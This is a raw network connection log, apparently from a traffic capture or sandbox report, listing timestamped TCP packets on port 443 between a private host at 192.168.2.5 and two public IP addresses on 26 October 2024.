Oct 26, 2024 13:45:10.613940001 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:10.613957882 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:10.614000082 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:10.614021063 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:10.614058971 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:10.614098072 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:10.614145041 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:10.724879026 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:10.724980116 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:10.725038052 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:10.770312071 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:11.082192898 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:11.082310915 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:11.082377911 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:11.285373926 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:11.290720940 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:11.290755033 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:11.291199923 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:11.291213036 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:11.330986023 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:11.331017971 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:11.331135988 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:11.331151962 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:11.419219017 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:11.419384003 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:11.419549942 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:11.419790030 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:11.419826031 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:11.426331043 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:11.426372051 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:11.426467896 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:11.426678896 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:11.426691055 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.171029091 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.173618078 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.173650026 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.175400972 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.175406933 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.302022934 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.302180052 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.304889917 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.304920912 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.304934978 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.304944992 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.304950953 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.308088064 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.308110952 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:12.308199883 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.308377028 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:12.308391094 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.060478926 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.063819885 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.063842058 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.065874100 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.065881968 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.194164991 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.195638895 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.197082043 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.197118998 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.197137117 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.197143078 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.197148085 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.200460911 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.200499058 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:13.200608969 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.200819016 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:13.200833082 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:14.949438095 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:14.950037003 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:14.950047970 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:14.950567007 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:14.950571060 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.078377962 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.078449965 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.078504086 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.078706026 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.078721046 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.078731060 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.078737020 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.081572056 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.081604958 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.081696033 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.081825972 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.081840038 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.829896927 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.830554962 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.830574036 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.831115007 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.831121922 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.963010073 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.963188887 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.963278055 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.963462114 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.963488102 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.963516951 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.963525057 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.966710091 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.966758966 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:15.966849089 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.967010021 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:15.967026949 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.722997904 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.723819017 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.723850012 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.724697113 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.724704027 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.932847023 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.933351040 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.933423996 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.933698893 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.933698893 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.933711052 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.933722019 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.938292980 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.938329935 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:16.938410044 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.938766956 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:16.938791037 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:17.673825979 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:17.674562931 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.674581051 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:17.675215006 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.675220966 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:17.804168940 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:17.804399967 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:17.804600954 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.804600954 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.804600954 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.807908058 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.807960987 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:17.808056116 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.808212042 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:17.808237076 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:18.020700932 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:18.020716906 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.496237993 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.496901989 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.496943951 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.497450113 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.497467041 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.634404898 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.634424925 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.634484053 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.634623051 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.636830091 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.636830091 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.636881113 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.636907101 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.698321104 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.698371887 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:19.698453903 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.714963913 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:19.714982033 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:21.649388075 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:21.651396036 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:21.651422024 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:21.651925087 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:21.651932955 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:22.605680943 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:22.605767012 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:22.605829954 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:22.606085062 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:22.606102943 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:22.606113911 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:22.606120110 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:22.610025883 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:22.610069036 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:22.610166073 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:22.610368967 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:22.610384941 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.382277012 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.383059978 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.383099079 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.383910894 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.383923054 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.516727924 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.516869068 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.517035007 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.517095089 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.517095089 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.517118931 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.517136097 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.521332979 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.521370888 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:23.521440983 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.521898031 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:23.521913052 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.268389940 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.269229889 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.269253016 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.269767046 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.269774914 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.400923967 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.400945902 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.401019096 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.401035070 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.401053905 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.401134014 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.401375055 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.401391029 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.401401043 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.401406050 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.404897928 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.404925108 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:24.405006886 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.405291080 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:24.405301094 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.147815943 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.152004957 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.152014017 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.152684927 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.152689934 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281151056 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281177998 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281337023 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.281347990 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281398058 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.281603098 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281653881 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281822920 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.281840086 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281851053 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.281856060 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.281897068 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.281900883 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.285640001 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.285660028 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.285770893 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.285938025 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.285955906 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.649238110 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.649945974 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.649975061 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.650485039 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.650490999 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.783659935 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.783771038 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.783860922 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.784169912 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.784193039 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.784204960 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.784210920 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.788167000 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.788218021 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:25.788317919 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.788454056 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:25.788470030 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.012454033 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.013293028 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.013324976 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.013762951 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.013772964 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.143042088 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.143083096 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.143131971 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.143213034 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.143213034 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.143529892 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.143549919 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.143562078 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.143568039 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.147332907 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.147349119 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.147492886 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.147603989 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.147615910 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.671996117 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.674801111 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.674828053 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.675308943 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.675327063 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.806583881 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.806684017 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.807030916 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.807085991 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.807109118 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.807122946 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.807130098 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.810363054 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.810404062 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.810491085 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.810672998 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.810691118 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.873550892 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.874337912 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.874381065 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:26.874882936 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:26.874892950 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.002077103 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.002160072 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.002252102 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.002557039 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.002573967 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.002584934 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.002592087 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.006238937 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.006292105 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.006589890 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.006591082 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.006629944 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.558573008 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.559252977 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.559290886 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.559811115 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.559814930 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.700571060 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.700656891 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.700754881 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.701014996 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.701031923 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.701045036 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.701050997 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.704433918 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.704469919 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.704592943 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.704735994 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.704751015 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.758903027 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.759579897 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.759597063 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.760124922 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.760133028 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.893402100 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.893477917 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.893543959 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.893841982 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.893867016 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.893879890 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.893887997 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.897449017 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.897480011 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:27.897569895 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:27.897722006 CEST	49810	443	192.168.2.5	13.107.246.45
